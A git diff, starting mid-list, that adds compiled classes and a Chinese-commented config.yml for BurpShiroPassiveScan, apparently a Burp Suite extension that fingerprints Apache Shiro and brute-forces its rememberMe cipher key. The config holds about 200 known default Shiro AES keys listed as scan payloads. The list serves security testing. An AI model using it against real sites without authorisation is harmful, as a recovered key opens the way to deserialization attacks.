- "ZjQyMTJiNTJhZGZmYjFjMQ==" + - "2adsfasdqerqerqewradsf==" + - "2AvVCXsxUs0FSA7SYFjdQg==" + - "2AvVhdsgERdsSA3SDFAdag==" + - "2AvVhdsgUs0FSA3SaFAdfg==" + - "2AvVhdsgUs0FSA3SDFAder==" + - "2AvVhdsgUsOFSA3SDFAdag==" + - "2AvVhmFLUs0KTA3Kprsdag==" + - "2AvVidsaUSofSA3SDFAdog==" + - "3Av2hmFLAs0BTA3Kprsd6E==" + - "3AvVhdAgUs1FSA4SDFAdBg==" + - "3AvVhMFLIs0KTA3Kprsdag==" + - "3AvVhmFLUs0KTA3KaTHGFg==" + - "3qDVdLawoIr1xFd6ietnsg==" + - "3rvVhmFLUs0KAT3Kprsdag==" + - "4AvVhm2LUs0KTA3Kprsdag==" + - "4AvVhmFLUs0KTA3KAAAAAA==" + - "4AvVhmFLUs0KTA3Kprseaf==" + - "4AvVhmFLUs0TTA3Kprsdag==" + - "4AvVhmFLUs5KTA1Kprsdag==" + - "4AvVhmFLUsOKTA3Kprsdag==" + - "4rvVhmFLUs0KAT3Kprsdag==" + - "4WCZSJyqdUQsije93aQIRg==" + - "5AvVhCsgUs0FSA3SDFAdag==" + - "5oiR5piv5p2h5ZK46bG8IQ==" + - "8AvVhdsgUs0FSA3SDFAdag==" + - "9Ami6v2G5Y+r5aPnE4OlBB==" + - "9AVvhnFLuS3KTV8KprsdAg==" + - "AF05JAuyuEB1ouJQ9Y9Phg==" + - "aG91c2Vob3VzZWhvdXNlMg==" + - "A+kWR7o9O0/G/W6aOGesRA==" + - "AztiX2RUqhc7dhOzl1Mj8Q==" + - "b2EAAAAAAAAAAAAAAAAAAA==" + - "B9rPF8FHhxKJZ9k63ik7kQ==" + - "c2hvdWtlLXBsdXMuMjAxNg==" + - "Cj6LnKZNLEowAZrdqyH/Ew==" + - "duhfin37x6chw29jsne45m==" + - "fCq+/xW488hMTCE+cmJ3FF==" + - "FjbNm1avvGmWE9CY2HqV75==" + - "GhrF5zLfq1Dtadd1jlohhA==" + - "GHxH6G3LFh8Zb3NwoRgfFA==" + - "HOlg7NHb9potm0n5s4ic0Q==" + - "lt181dcQVz/Bo9Wb8ws/Cg==" + - "M2djA70UBBUPDibGZBRvrA==" + - "mIccZhQt6EBHrZIyw1FAXQ==" + - "pbnA+Qzen1vjV3rNqQBLHg==" + - "pyyX1c5x2f0LZZ7VKZXjKO==" + - "QDFCnfkLUs0KTA3Kprsdag==" + - "QF5HMyZAWDZYRyFnSGhTdQ==" + - "qQFtSnnj/sx7vu51ixAyEQ==" + - "QUxQSEFNWVNPRlRCVUlMRA==" + - "QVN1bm5uJ3MgU3Vuc2l0ZQ==" + - "R29yZG9uV2ViAAAAAAAAAA==" + - "sBv2t3okbdm3U0r2EVcSzB==" + - "sgIQrqUVxa1OZRRIK3hLZw==" + - "TGMPe7lGO/Gbr38QiJu1/w==" + - "w793pPq5ZVBKkj8OhV4KaQ==" + - "wrjUh2ttBPQLnT4JVhriug==" + - "wyLZMDifwq3sW1vhhHpgKA==" + - "YnlhdnMAAAAAAAAAAAAAAA==" + - "YVd4dmRtVjViM1UlM0QIdn==" + - "YWdlbnRAZG1AMjAxOHN3Zg==" + - "YystomRZLMUjiK0Q1+LFdw==" + - "Z3VucwAAAAAAAAAAAAABBB==" + - "Z3VucwACAOVAKALACAADSA==" \ No newline at end of file diff --git a/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/AShiroCipherKeyExtension.class b/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/AShiroCipherKeyExtension.class new file mode 100644 index 0000000..995ae03 Binary files /dev/null and b/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/AShiroCipherKeyExtension.class differ diff --git a/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/IShiroCipherKeyExtension.class b/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/IShiroCipherKeyExtension.class new file mode 100644 index 0000000..a36b916 Binary files /dev/null and b/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/IShiroCipherKeyExtension.class differ diff --git a/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionMethod/ShiroCipherKeyScan.class b/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionMethod/ShiroCipherKeyScan.class new file mode 100644 index 0000000..66a6713 Binary files /dev/null and b/target/classes/burp/Application/ShiroCipherKeyExtension/ExtensionMethod/ShiroCipherKeyScan.class differ diff --git a/target/classes/burp/Application/ShiroCipherKeyExtension/ShiroCipherKey.class b/target/classes/burp/Application/ShiroCipherKeyExtension/ShiroCipherKey.class new file mode 100644 index 0000000..ee87f54 Binary files /dev/null and b/target/classes/burp/Application/ShiroCipherKeyExtension/ShiroCipherKey.class differ diff --git a/target/classes/burp/Application/ShiroCipherKeyExtension/ShiroCipherKeyThread.class b/target/classes/burp/Application/ShiroCipherKeyExtension/ShiroCipherKeyThread.class new file mode 100644 index 0000000..7d0e0c7 Binary files /dev/null and b/target/classes/burp/Application/ShiroCipherKeyExtension/ShiroCipherKeyThread.class differ diff --git a/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionInterface/AShiroFingerprintExtension.class b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionInterface/AShiroFingerprintExtension.class new file mode 100644 index 0000000..d52065b Binary files /dev/null and b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionInterface/AShiroFingerprintExtension.class differ diff --git a/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionInterface/IShiroFingerprintExtension.class b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionInterface/IShiroFingerprintExtension.class new file mode 100644 index 0000000..03d20f3 Binary files /dev/null and b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionInterface/IShiroFingerprintExtension.class differ diff --git a/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint1.class b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint1.class new file mode 100644 index 0000000..94e4594 Binary files /dev/null and b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint1.class differ diff --git a/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint2.class b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint2.class new file mode 100644 index 0000000..b46ca2f Binary files /dev/null and b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint2.class differ diff --git a/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint3.class b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint3.class new file mode 100644 index 0000000..63a8fda Binary files /dev/null and b/target/classes/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint3.class differ diff --git a/target/classes/burp/Application/ShiroFingerprintExtension/ShiroFingerprint.class b/target/classes/burp/Application/ShiroFingerprintExtension/ShiroFingerprint.class new file mode 100644 index 0000000..ef1a8be Binary files /dev/null and b/target/classes/burp/Application/ShiroFingerprintExtension/ShiroFingerprint.class differ diff --git a/target/classes/burp/Bootstrap/CustomBurpHelpers.class b/target/classes/burp/Bootstrap/CustomBurpHelpers.class new file mode 100644 index 0000000..e087f39 Binary files /dev/null and b/target/classes/burp/Bootstrap/CustomBurpHelpers.class differ diff --git a/target/classes/burp/Bootstrap/CustomBurpUrl.class b/target/classes/burp/Bootstrap/CustomBurpUrl.class new file mode 100644 index 0000000..b74cae1 Binary files /dev/null and b/target/classes/burp/Bootstrap/CustomBurpUrl.class differ diff --git a/target/classes/burp/Bootstrap/CustomHelpers.class b/target/classes/burp/Bootstrap/CustomHelpers.class new file mode 100644 index 0000000..6b3b808 Binary files /dev/null and b/target/classes/burp/Bootstrap/CustomHelpers.class differ diff --git a/target/classes/burp/Bootstrap/DiffPage.class b/target/classes/burp/Bootstrap/DiffPage.class new file mode 100644 index 0000000..5820bff Binary files /dev/null and b/target/classes/burp/Bootstrap/DiffPage.class differ diff --git a/target/classes/burp/Bootstrap/Encrypt/CbcEncrypt.class b/target/classes/burp/Bootstrap/Encrypt/CbcEncrypt.class new file mode 100644 index 0000000..cd434c2 Binary files /dev/null and b/target/classes/burp/Bootstrap/Encrypt/CbcEncrypt.class differ diff --git a/target/classes/burp/Bootstrap/Encrypt/EncryptInterface.class b/target/classes/burp/Bootstrap/Encrypt/EncryptInterface.class new file mode 100644 index 0000000..39d730d Binary files /dev/null and b/target/classes/burp/Bootstrap/Encrypt/EncryptInterface.class differ diff --git a/target/classes/burp/Bootstrap/Encrypt/GcmEncrypt.class b/target/classes/burp/Bootstrap/Encrypt/GcmEncrypt.class new file mode 100644 index 0000000..7ee4414 Binary files /dev/null and b/target/classes/burp/Bootstrap/Encrypt/GcmEncrypt.class differ diff --git a/target/classes/burp/Bootstrap/GlobalPassiveScanVariableReader.class b/target/classes/burp/Bootstrap/GlobalPassiveScanVariableReader.class new file mode 100644 index 0000000..fa772c5 Binary files /dev/null and b/target/classes/burp/Bootstrap/GlobalPassiveScanVariableReader.class differ diff --git a/target/classes/burp/Bootstrap/GlobalVariableReader.class b/target/classes/burp/Bootstrap/GlobalVariableReader.class new file mode 100644 index 0000000..a17958e Binary files /dev/null and b/target/classes/burp/Bootstrap/GlobalVariableReader.class differ diff --git a/target/classes/burp/Bootstrap/YamlReader.class b/target/classes/burp/Bootstrap/YamlReader.class new file mode 100644 index 0000000..3594073 Binary files /dev/null and b/target/classes/burp/Bootstrap/YamlReader.class differ diff --git a/target/classes/burp/BurpExtender.class b/target/classes/burp/BurpExtender.class new file mode 100644 index 0000000..b549bbf Binary files /dev/null and b/target/classes/burp/BurpExtender.class differ diff --git a/target/classes/burp/Config.class b/target/classes/burp/Config.class new file mode 100644 index 0000000..fc3386c Binary files /dev/null and b/target/classes/burp/Config.class differ diff --git a/target/classes/burp/ConfigDlg$1.class b/target/classes/burp/ConfigDlg$1.class new file mode 100644 index 0000000..d8b5dca Binary files /dev/null and b/target/classes/burp/ConfigDlg$1.class differ diff --git a/target/classes/burp/ConfigDlg.class b/target/classes/burp/ConfigDlg.class new file mode 100644 index 0000000..54f253e Binary files /dev/null and b/target/classes/burp/ConfigDlg.class differ diff --git a/target/classes/burp/CustomErrorException/DiffPageException.class b/target/classes/burp/CustomErrorException/DiffPageException.class new file mode 100644 index 0000000..6e31315 Binary files /dev/null and b/target/classes/burp/CustomErrorException/DiffPageException.class differ diff --git a/target/classes/burp/CustomErrorException/TaskTimeoutException.class b/target/classes/burp/CustomErrorException/TaskTimeoutException.class new file mode 100644 index 0000000..f7e9656 Binary files /dev/null and b/target/classes/burp/CustomErrorException/TaskTimeoutException.class differ diff --git a/target/classes/burp/CustomScanIssue.class b/target/classes/burp/CustomScanIssue.class new file mode 100644 index 0000000..29224ce Binary files /dev/null and b/target/classes/burp/CustomScanIssue.class differ diff --git a/target/classes/burp/Encrypt.class b/target/classes/burp/Encrypt.class new file mode 100644 index 0000000..9ff577a Binary files /dev/null and b/target/classes/burp/Encrypt.class differ diff --git a/target/classes/burp/Menu$1.class b/target/classes/burp/Menu$1.class new file mode 100644 index 0000000..c298ef5 Binary files /dev/null and b/target/classes/burp/Menu$1.class differ diff --git a/target/classes/burp/Menu$2.class b/target/classes/burp/Menu$2.class new file mode 100644 index 0000000..89f874c Binary files /dev/null and b/target/classes/burp/Menu$2.class differ diff --git a/target/classes/burp/Menu$3.class b/target/classes/burp/Menu$3.class new file mode 100644 index 0000000..759d850 Binary files /dev/null and b/target/classes/burp/Menu$3.class differ diff --git a/target/classes/burp/Menu$4.class b/target/classes/burp/Menu$4.class new file mode 100644 index 0000000..2065deb Binary files /dev/null and b/target/classes/burp/Menu$4.class differ diff --git a/target/classes/burp/Menu$5.class b/target/classes/burp/Menu$5.class new file mode 100644 index 0000000..6cbf641 Binary files /dev/null and b/target/classes/burp/Menu$5.class differ diff --git a/target/classes/burp/Menu$6.class b/target/classes/burp/Menu$6.class new file mode 100644 index 0000000..f8db9e7 Binary files /dev/null and b/target/classes/burp/Menu$6.class differ diff --git a/target/classes/burp/Menu$7.class b/target/classes/burp/Menu$7.class new file mode 100644 index 0000000..199331a Binary files /dev/null and b/target/classes/burp/Menu$7.class differ diff --git a/target/classes/burp/Menu.class b/target/classes/burp/Menu.class new file mode 100644 index 0000000..a57bb34 Binary files /dev/null and b/target/classes/burp/Menu.class differ diff --git a/target/classes/burp/Ui/BaseSettingTag.class b/target/classes/burp/Ui/BaseSettingTag.class new file mode 100644 index 0000000..250bf97 Binary files /dev/null and b/target/classes/burp/Ui/BaseSettingTag.class differ diff --git a/target/classes/burp/Ui/ScanQueueTag$TablesData.class b/target/classes/burp/Ui/ScanQueueTag$TablesData.class new file mode 100644 index 0000000..53e8e1b Binary files /dev/null and b/target/classes/burp/Ui/ScanQueueTag$TablesData.class differ diff --git a/target/classes/burp/Ui/ScanQueueTag$URLTable.class b/target/classes/burp/Ui/ScanQueueTag$URLTable.class new file mode 100644 index 0000000..40066e4 Binary files /dev/null and b/target/classes/burp/Ui/ScanQueueTag$URLTable.class differ diff --git a/target/classes/burp/Ui/ScanQueueTag.class b/target/classes/burp/Ui/ScanQueueTag.class new file mode 100644 index 0000000..b04a54c Binary files /dev/null and b/target/classes/burp/Ui/ScanQueueTag.class differ diff --git a/target/classes/burp/Ui/Tags.class b/target/classes/burp/Ui/Tags.class new file mode 100644 index 0000000..b5b6e17 Binary files /dev/null and b/target/classes/burp/Ui/Tags.class differ diff --git a/target/classes/burp/Utils$SilentURLStreamHandler.class b/target/classes/burp/Utils$SilentURLStreamHandler.class new file mode 100644 index 0000000..4fc16af Binary files /dev/null and b/target/classes/burp/Utils$SilentURLStreamHandler.class differ diff --git a/target/classes/burp/Utils.class b/target/classes/burp/Utils.class new file mode 100644 index 0000000..2435f61 Binary files /dev/null and b/target/classes/burp/Utils.class differ diff --git a/target/classes/config.yml b/target/classes/config.yml new file mode 100644 index 0000000..a5c3efa --- /dev/null +++ b/target/classes/config.yml @@ -0,0 +1,410 @@ +# 插件启动项 +isStart: true + +# 消息等级 +# 用于插件扫描队列界面的显示 +# ALL = 显示所有消息 +# PIVOTAL = 只显示关键信息,只显示所有前缀带"[+]/[-]/[x]/[*]"的信息 +# 注: 乱输等于 PIVOTAL +messageLevel: "PIVOTAL" + +# 扫描配置 +scan: + # 站点扫描次数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次扫描 + siteScanNumber: 0 + # 域名扫描规则 + domainName: + # 域名黑名单 + # 注: 黑名单优先级最高 + # 注: 为空表示关闭该功能 + # 使用规则: + # 1. 过滤某个域名: www.domain1.com + # 2. 过滤某个域名的全部子域名: *.domain2.com + # 3. 过滤某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com + # 使用方法: + # blacklist: + # - "www.domain1.com" + # - "*.domain2.com" + blacklist: + - "*.dnslog.cn" + - "*.ceye.io" + - "*.fofa.so" + - "*.shodan.io" + - "*.github.com" + - "*.fofa.info" + - "*.nosec.org" + # 域名白名单 + # 注: 黑名单优先级最高 + # 注: 为空表示关闭该功能 + # 使用规则: + # 1. 只扫描某个域名: www.domain1.com + # 2. 只扫描某个域名的全部子域名: *.domain2.com + # 3. 只扫描某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com + # 使用方法: + # whitelist: + # - "www.domain1.com" + # - "*.domain2.com" + whitelist: + +# url黑名单后缀 +# url的后缀出现这些字段的都不进行测试 +urlBlackListSuffix: + config: + isStart: true + suffixList: + - "3g2" + - "3gp" + - "7z" + - "aac" + - "abw" + - "aif" + - "aifc" + - "aiff" + - "arc" + - "au" + - "avi" + - "azw" + - "bin" + - "bmp" + - "bz" + - "bz2" + - "cmx" + - "cod" + - "csh" + - "css" + - "csv" + - "doc" + - "docx" + - "eot" + - "epub" + - "gif" + - "gz" + - "ico" + - "ics" + - "ief" + - "jar" + - "jfif" + - "jpe" + - "jpeg" + - "jpg" + - "m3u" + - "mid" + - "midi" + - "mjs" + - "mp2" + - "mp3" + - "mpa" + - "mpe" + - "mpeg" + - "mpg" + - "mpkg" + - "mpp" + - "mpv2" + - "odp" + - "ods" + - "odt" + - "oga" + - "ogv" + - "ogx" + - "otf" + - "pbm" + - "pdf" + - "pgm" + - "png" + - "pnm" + - "ppm" + - "ppt" + - "pptx" + - "ra" + - "ram" + - "rar" + - "ras" + - "rgb" + - "rmi" + - "rtf" + - "snd" + - "svg" + - "swf" + - "tar" + - "tif" + - "tiff" + - "ttf" + - "vsd" + - "wav" + - "weba" + - "webm" + - "webp" + - "woff" + - "woff2" + - "xbm" + - "xls" + - "xlsx" + - "xpm" + - "xul" + - "xwd" + - "zip" + - "js" + - "wmv" + - "asf" + - "asx" + - "rm" + - "rmvb" + - "mp4" + - "mov" + - "m4v" + - "dat" + - "mkv" + - "flv" + - "vob" + - "txt" + - "php" + - "asp" + +# 应用程序配置 +application: + # shiro指纹扩展 + shiroFingerprintExtension: + config: + # shiro指纹问题数量 + # 表示可以接收同一个站点多少个问题个数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次接收 + issueNumber: 3 + # 问题名称 + issueName: "ShiroFramework" + # shiro加密key扩展 + shiroCipherKeyExtension: + config: + # 插件启动项 + isStart: true + # 用于判断是否扫描Cbc加密的问题 + isScanCbcEncrypt: true + # 用于判断是否扫描Gcm加密的问题 + isScanGcmEncrypt: true + # shiro加密key泄漏问题数量 + # 表示可以接收同一个站点多少个问题个数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次接收 + issueNumber: 1 + # 程序运行的最大线程总数 + # 最小值为1, 小于等于0, 会重置为1 + # 注意: + # 会自动根据输入的shiro加密key总数,来动态启动线程执行任务 + # 设置4的话,意思是最多可以开几个线程来执行任务的意思 + threadTotal: 4 + # 相似度比例 + # 1 = 100%, 0.7 = 70% + # 主要用来 shiro跑key请求 对比 原请求 与 必定错误key请求相似度 低于多少会被认为不存在该问题 + # 例如: + # shiro跑key请求 与 原请求 相似度低于0.7则认为不存在该问题 + # shiro跑key请求 与 必定错误key请求相似度 相似度低于0.7则认为不存在该问题 + similarityRatio: 0.7 + # 提供商 + # 声明使用 Application.ShiroCipherKeyExtension.ExtensionMethod 的哪个类,为该扩展提供服务 + provider: "ShiroCipherKeyScan" + # 问题名称 + issueName: "ShiroCipherKey" + payloads: + - "kPH+bIxk5D2deZiIxcaaaA==" + - "Z3VucwAAAAAAAAAAAAAAAA==" + - "wGiHplamyXlVB11UXWol8g==" + - "2AvVhdsgUs0FSA3SDFAdag==" + - "3AvVhmFLUs0KTA3Kprsdag==" + - "4AvVhmFLUs0KTA3Kprsdag==" + - "bWljcm9zAAAAAAAAAAAAAA==" + - "WcfHGU25gNnTxTlmJMeSpw==" + - "fCq+/xW488hMTCD+cmJ3aQ==" + - "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN" + - "6ZmI6I2j5Y+R5aSn5ZOlAA==" + - "1QWLxg+NYmxraMoxAXu/Iw==" + - "a2VlcE9uR29pbmdBbmRGaQ==" + - "5aaC5qKm5oqA5pyvAAAAAA==" + - "1AvVhdsgUs0FSA3SDFAdag==" + - "5RC7uBZLkByfFfJm22q/Zw==" + - "3AvVhdAgUs0FSA4SDFAdBg==" + - "a3dvbmcAAAAAAAAAAAAAAA==" + - "eXNmAAAAAAAAAAAAAAAAAA==" + - "U0hGX2d1bnMAAAAAAAAAAA==" + - "Ymx1ZXdoYWxlAAAAAAAAAA==" + - "L7RioUULEFhRyxM7a2R/Yg==" + - "UGlzMjAxNiVLeUVlXiEjLw==" + - "bWluZS1hc3NldC1rZXk6QQ==" + - "ZUdsaGJuSmxibVI2ZHc9PQ==" + - "7AvVhmFLUs0KTA3Kprsdag==" + - "MTIzNDU2Nzg5MGFiY2RlZg==" + - "OY//C4rhfwNxCQAQCrQQ1Q==" + - "bTBANVpaOUw0ampRWG43TVJFcF5iXjdJ" + - "FP7qKJzdJOGkzoQzo2wTmA==" + - "nhNhwZ6X7xzgXnnZBxWFQLwCGQtJojL3" + - "LEGEND-CAMPUS-CIPHERKEY==" + - "r0e3c16IdVkouZgk1TKVMg==" + - "ZWvohmPdUsAWT3=KpPqda" + - "k3+XHEg6D8tb2mGm7VJ3nQ==" + - "U3ByaW5nQmxhZGUAAAAAAA==" + - "tiVV6g3uZBGfgshesAQbjA==" + - "ZAvph3dsQs0FSL3SDFAdag==" + - "0AvVhmFLUs0KTA3Kprsdag==" + - "25BsmdYwjnfcWmnhAciDDg==" + - "3JvYhmBLUs0ETA5Kprsdag==" + - "5AvVhmFLUs0KTA3Kprsdag==" + - "6AvVhmFLUs0KTA3Kprsdag==" + - "6NfXkC7YVCV5DASIrEm1Rg==" + - "cmVtZW1iZXJNZQAAAAAAAA==" + - "8AvVhmFLUs0KTA3Kprsdag==" + - "8BvVhmFLUs0KTA3Kprsdag==" + - "9AvVhmFLUs0KTA3Kprsdag==" + - "OUHYQzxQ/W9e/UjiAGu6rg==" + - "aU1pcmFjbGVpTWlyYWNsZQ==" + - "bXRvbnMAAAAAAAAAAAAAAA==" + - "5J7bIJIV0LQSN3c9LPitBQ==" + - "bya2HkYo57u6fWh5theAWw==" + - "f/SY5TIve5WWzT4aQlABJA==" + - "WuB+y2gcHRnY2Lg9+Aqmqg==" + - "3qDVdLawoIr1xFd6ietnwg==" + - "YI1+nBV//m7ELrIyDHm6DQ==" + - "6Zm+6I2j5Y+R5aS+5ZOlAA==" + - "2A2V+RFLUs+eTA3Kpr+dag==" + - "6ZmI6I2j3Y+R1aSn5BOlAA==" + - "SkZpbmFsQmxhZGUAAAAAAA==" + - "2cVtiE83c4lIrELJwKGJUw==" + - "fsHspZw/92PrS3XrPW+vxw==" + - "XTx6CKLo/SdSgub+OPHSrw==" + - "sHdIjUN6tzhl8xZMG3ULCQ==" + - "O4pdf+7e+mZe8NyxMTPJmQ==" + - "HWrBltGvEZc14h9VpMvZWw==" + - "rPNqM6uKFCyaL10AK51UkQ==" + - "Y1JxNSPXVwMkyvES/kJGeQ==" + - "lT2UvDUmQwewm6mMoiw4Ig==" + - "MPdCMZ9urzEA50JDlDYYDg==" + - "xVmmoltfpb8tTceuT5R7Bw==" + - "c+3hFGPjbgzGdrC+MHgoRQ==" + - "ClLk69oNcA3m+s0jIMIkpg==" + - "Bf7MfkNR0axGGptozrebag==" + - "1tC/xrDYs8ey+sa3emtiYw==" + - "ZmFsYWRvLnh5ei5zaGlybw==" + - "cGhyYWNrY3RmREUhfiMkZA==" + - "IduElDUpDDXE677ZkhhKnQ==" + - "yeAAo1E8BOeAYfBlm4NG9Q==" + - "cGljYXMAAAAAAAAAAAAAAA==" + - "2itfW92XazYRi5ltW0M2yA==" + - "XgGkgqGqYrix9lI6vxcrRw==" + - "ertVhmFLUs0KTA3Kprsdag==" + - "5AvVhmFLUS0ATA4Kprsdag==" + - "s0KTA3mFLUprK4AvVhsdag==" + - "hBlzKg78ajaZuTE0VLzDDg==" + - "9FvVhtFLUs0KnA3Kprsdyg==" + - "d2ViUmVtZW1iZXJNZUtleQ==" + - "yNeUgSzL/CfiWw1GALg6Ag==" + - "NGk/3cQ6F5/UNPRh8LpMIg==" + - "4BvVhmFLUs0KTA3Kprsdag==" + - "MzVeSkYyWTI2OFVLZjRzZg==" + - "CrownKey==a12d/dakdad" + - "empodDEyMwAAAAAAAAAAAA==" + - "A7UzJgh1+EWj5oBFi+mSgw==" + - "c2hpcm9fYmF0aXMzMgAAAA==" + - "i45FVt72K2kLgvFrJtoZRw==" + - "66v1O8keKNV3TTcGPK1wzg==" + - "U3BAbW5nQmxhZGUAAAAAAA==" + - "ZnJlc2h6Y24xMjM0NTY3OA==" + - "Jt3C93kMR9D5e8QzwfsiMw==" + - "MTIzNDU2NzgxMjM0NTY3OA==" + - "vXP33AonIp9bFwGl7aT7rA==" + - "V2hhdCBUaGUgSGVsbAAAAA==" + - "Q01TX0JGTFlLRVlfMjAxOQ==" + - "Is9zJ3pzNh2cgTHB4ua3+Q==" + - "SDKOLKn2J1j/2BHjeZwAoQ==" + - "NsZXjXVklWPZwOfkvk6kUA==" + - "GAevYnznvgNCURavBhCr1w==" + - "zSyK5Kp6PZAAjlT+eeNMlg==" + - "bXdrXl9eNjY2KjA3Z2otPQ==" + - "RVZBTk5JR0hUTFlfV0FPVQ==" + - "WkhBTkdYSUFPSEVJX0NBVA==" + - "GsHaWo4m1eNbE0kNSMULhg==" + - "l8cc6d2xpkT1yFtLIcLHCg==" + - "KU471rVNQ6k7PQL4SqxgJg==" + - "kPH+bIxk5D2deZiIxcabaA==" + - "kPH+bIxk5D2deZiIxcacaA==" + - "4AvVhdsgUs0F563SDFAdag==" + - "FL9HL9Yu5bVUJ0PDU1ySvg==" + - "fdCEiK9YvLC668sS43CJ6A==" + - "FJoQCiz0z5XWz2N2LyxNww==" + - "HeUZ/LvgkO7nsa18ZyVxWQ==" + - "HoTP07fJPKIRLOWoVXmv+Q==" + - "iycgIIyCatQofd0XXxbzEg==" + - "m0/5ZZ9L4jjQXn7MREr/bw==" + - "NoIw91X9GSiCrLCF03ZGZw==" + - "oPH+bIxk5E2enZiIxcqaaA==" + - "QAk0rp8sG0uJC4Ke2baYNA==" + - "Rb5RN+LofDWJlzWAwsXzxg==" + - "s2SE9y32PvLeYo+VGFpcKA==" + - "SrpFBcVD89eTQ2icOD0TMg==" + - "Us0KvVhTeasAm43KFLAeng==" + - "YWJjZGRjYmFhYmNkZGNiYQ==" + - "zIiHplamyXlVB11UXWol8g==" + - "ZjQyMTJiNTJhZGZmYjFjMQ==" + - "2adsfasdqerqerqewradsf==" + - "2AvVCXsxUs0FSA7SYFjdQg==" + - "2AvVhdsgERdsSA3SDFAdag==" + - "2AvVhdsgUs0FSA3SaFAdfg==" + - "2AvVhdsgUs0FSA3SDFAder==" + - "2AvVhdsgUsOFSA3SDFAdag==" + - "2AvVhmFLUs0KTA3Kprsdag==" + - "2AvVidsaUSofSA3SDFAdog==" + - "3Av2hmFLAs0BTA3Kprsd6E==" + - "3AvVhdAgUs1FSA4SDFAdBg==" + - "3AvVhMFLIs0KTA3Kprsdag==" + - "3AvVhmFLUs0KTA3KaTHGFg==" + - "3qDVdLawoIr1xFd6ietnsg==" + - "3rvVhmFLUs0KAT3Kprsdag==" + - "4AvVhm2LUs0KTA3Kprsdag==" + - "4AvVhmFLUs0KTA3KAAAAAA==" + - "4AvVhmFLUs0KTA3Kprseaf==" + - "4AvVhmFLUs0TTA3Kprsdag==" + - "4AvVhmFLUs5KTA1Kprsdag==" + - "4AvVhmFLUsOKTA3Kprsdag==" + - "4rvVhmFLUs0KAT3Kprsdag==" + - "4WCZSJyqdUQsije93aQIRg==" + - "5AvVhCsgUs0FSA3SDFAdag==" + - "5oiR5piv5p2h5ZK46bG8IQ==" + - "8AvVhdsgUs0FSA3SDFAdag==" + - "9Ami6v2G5Y+r5aPnE4OlBB==" + - "9AVvhnFLuS3KTV8KprsdAg==" + - "AF05JAuyuEB1ouJQ9Y9Phg==" + - "aG91c2Vob3VzZWhvdXNlMg==" + - "A+kWR7o9O0/G/W6aOGesRA==" + - "AztiX2RUqhc7dhOzl1Mj8Q==" + - "b2EAAAAAAAAAAAAAAAAAAA==" + - "B9rPF8FHhxKJZ9k63ik7kQ==" + - "c2hvdWtlLXBsdXMuMjAxNg==" + - "Cj6LnKZNLEowAZrdqyH/Ew==" + - "duhfin37x6chw29jsne45m==" + - "fCq+/xW488hMTCE+cmJ3FF==" + - "FjbNm1avvGmWE9CY2HqV75==" + - "GhrF5zLfq1Dtadd1jlohhA==" + - "GHxH6G3LFh8Zb3NwoRgfFA==" + - "HOlg7NHb9potm0n5s4ic0Q==" + - "lt181dcQVz/Bo9Wb8ws/Cg==" + - "M2djA70UBBUPDibGZBRvrA==" + - "mIccZhQt6EBHrZIyw1FAXQ==" + - "pbnA+Qzen1vjV3rNqQBLHg==" + - "pyyX1c5x2f0LZZ7VKZXjKO==" + - "QDFCnfkLUs0KTA3Kprsdag==" + - "QF5HMyZAWDZYRyFnSGhTdQ==" + - "qQFtSnnj/sx7vu51ixAyEQ==" + - "QUxQSEFNWVNPRlRCVUlMRA==" + - "QVN1bm5uJ3MgU3Vuc2l0ZQ==" + - "R29yZG9uV2ViAAAAAAAAAA==" + - "sBv2t3okbdm3U0r2EVcSzB==" + - "sgIQrqUVxa1OZRRIK3hLZw==" + - "TGMPe7lGO/Gbr38QiJu1/w==" + - "w793pPq5ZVBKkj8OhV4KaQ==" + - "wrjUh2ttBPQLnT4JVhriug==" + - "wyLZMDifwq3sW1vhhHpgKA==" + - "YnlhdnMAAAAAAAAAAAAAAA==" + - "YVd4dmRtVjViM1UlM0QIdn==" + - "YWdlbnRAZG1AMjAxOHN3Zg==" + - "YystomRZLMUjiK0Q1+LFdw==" + - "Z3VucwAAAAAAAAAAAAABBB==" + - "Z3VucwACAOVAKALACAADSA==" \ No newline at end of file diff --git a/target/maven-archiver/pom.properties b/target/maven-archiver/pom.properties new file mode 100644 index 0000000..8123cdb --- /dev/null +++ b/target/maven-archiver/pom.properties @@ -0,0 +1,5 @@ +#Generated by Maven +#Fri Sep 02 21:48:36 CST 2022 +groupId=com.github.pmiaowu +artifactId=BurpShiroPassiveScan +version=2.0.0 diff --git a/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst new file mode 100644 index 0000000..99642e9 --- /dev/null +++ b/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst @@ -0,0 +1,44 @@ 